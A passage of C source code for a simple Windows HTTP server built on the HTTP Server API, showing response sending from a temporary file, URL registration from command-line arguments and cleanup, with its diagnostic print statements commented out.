| &response, // HTTP response 542 | NULL, // pReserved1 543 | &bytesSent, // bytes sent-optional 544 | NULL, // pReserved2 545 | 0, // Reserved3 546 | NULL, // LPOVERLAPPED 547 | NULL // pReserved4 548 | ); 549 | 550 | if (result != NO_ERROR) 551 | { 552 | //wprintf(L"HttpSendHttpResponse failed with %lu \n",result); 553 | goto Done; 554 | } 555 | 556 | // 557 | // Send entity body from a file handle. 558 | // 559 | dataChunk.DataChunkType = 560 | HttpDataChunkFromFileHandle; 561 | 562 | dataChunk.FromFileHandle. 563 | ByteRange.StartingOffset.QuadPart = 0; 564 | 565 | dataChunk.FromFileHandle. 566 | ByteRange.Length.QuadPart = 567 | HTTP_BYTE_RANGE_TO_EOF; 568 | 569 | dataChunk.FromFileHandle.FileHandle = hTempFile; 570 | 571 | result = HttpSendResponseEntityBody( 572 | hReqQueue, 573 | pRequest->RequestId, 574 | 0, // This is the last send. 575 | 1, // Entity Chunk Count. 576 | &dataChunk, 577 | NULL, 578 | NULL, 579 | 0, 580 | NULL, 581 | NULL 582 | ); 583 | 584 | if (result != NO_ERROR) 585 | { 586 | //wprintf(L"HttpSendResponseEntityBody failed %lu\n",result); 587 | } 588 | 589 | goto Done; 590 | 591 | break; 592 | 593 | 594 | default: 595 | //wprintf(L"HttpReceiveRequestEntityBody failed with %lu \n",result); 596 | goto Done; 597 | } 598 | 599 | } while (TRUE); 600 | } 601 | else 602 | { 603 | // This request does not have an entity body. 604 | // 605 | 606 | result = HttpSendHttpResponse( 607 | hReqQueue, // ReqQueueHandle 608 | pRequest->RequestId, // Request ID 609 | 0, 610 | &response, // HTTP response 611 | NULL, // pReserved1 612 | &bytesSent, // bytes sent (optional) 613 | NULL, // pReserved2 614 | 0, // Reserved3 615 | NULL, // LPOVERLAPPED 616 | NULL // pReserved4 617 | ); 618 | if (result != NO_ERROR) 619 | { 620 | //wprintf(L"HttpSendHttpResponse failed with %lu \n",result); 621 | } 622 | } 623 | 624 | Done: 625 | 626 | if (pEntityBuffer) 627 | { 628 | FREE_MEM(pEntityBuffer); 629 | } 630 | 631 | if (INVALID_HANDLE_VALUE != hTempFile) 632 | { 633 | CloseHandle(hTempFile); 634 | DeleteFile(szTempName); 635 | } 636 | 637 | return result; 638 | } 639 | 640 | 641 | /*******************************************************************++ 642 | 643 | Routine Description: 644 | main routine 645 | 646 | Arguments: 647 | argc - # of command line arguments. 648 | argv - Arguments. 649 | 650 | Return Value: 651 | Success/Failure 652 | 653 | --*******************************************************************/ 654 | int __cdecl wmain(int argc, wchar_t * argv[]) 655 | { 656 | ULONG retCode; 657 | HANDLE hReqQueue = NULL; 658 | int UrlAdded = 0; 659 | HTTPAPI_VERSION HttpApiVersion = HTTPAPI_VERSION_1; 660 | 661 | if (argc < 2) 662 | { 663 | //wprintf(L"%ws: [Url2] ... \n", argv[0]); 664 | return -1; 665 | } 666 | 667 | // 668 | // Initialize HTTP Server APIs 669 | // 670 | retCode = HttpInitialize( 671 | HttpApiVersion, 672 | HTTP_INITIALIZE_SERVER, // Flags 673 | NULL // Reserved 674 | ); 675 | 676 | if (retCode != NO_ERROR) 677 | { 678 | //wprintf(L"HttpInitialize failed with %lu \n", retCode); 679 | return retCode; 680 | } 681 | 682 | // 683 | // Create a Request Queue Handle 684 | // 685 | retCode = HttpCreateHttpHandle( 686 | &hReqQueue, // Req Queue 687 | 0 // Reserved 688 | ); 689 | 690 | if (retCode != NO_ERROR) 691 | { 692 | //wprintf(L"HttpCreateHttpHandle failed with %lu \n", retCode); 693 | goto CleanUp; 694 | } 695 | 696 | // 697 | // The command line arguments represent URIs that to 698 | // listen on. Call HttpAddUrl for each URI. 699 | // 700 | // The URI is a fully qualified URI and must include the 701 | // terminating (/) character. 702 | // 703 | for (int i = 1; i < argc; i++) 704 | { 705 | //wprintf(L"listening for requests on the following url: %s\n", argv[i]); 706 | 707 | retCode = HttpAddUrl( 708 | hReqQueue, // Req Queue 709 | argv[i], // Fully qualified URL 710 | NULL // Reserved 711 | ); 712 | 713 | if (retCode != NO_ERROR) 714 | { 715 | //wprintf(L"HttpAddUrl failed with %lu \n", retCode); 716 | goto CleanUp; 717 | } 718 | else 719 | { 720 | // 721 | // Track the currently added URLs. 722 | // 723 | UrlAdded++; 724 | } 725 | } 726 | 727 | DoReceiveRequests(hReqQueue); 728 | 729 | CleanUp: 730 | 731 | // 732 | // Call HttpRemoveUrl for all added URLs. 733 | // 734 | for (int i = 1; i <= UrlAdded; i++) 735 | { 736 | HttpRemoveUrl( 737 | hReqQueue, // Req Queue 738 | argv[i] // Fully qualified URL 739 | ); 740 | } 741 | 742 | // 743 | // Close the Request Queue handle. 744 | // 745 | if (hReqQueue) 746 | { 747 | CloseHandle(hReqQueue); 748 | } 749 | 750 | // 751 | // Call HttpTerminate. 752 | // 753 | HttpTerminate(HTTP_INITIALIZE_SERVER, NULL); 754 | 755 | return retCode; 756 | } --------------------------------------------------------------------------------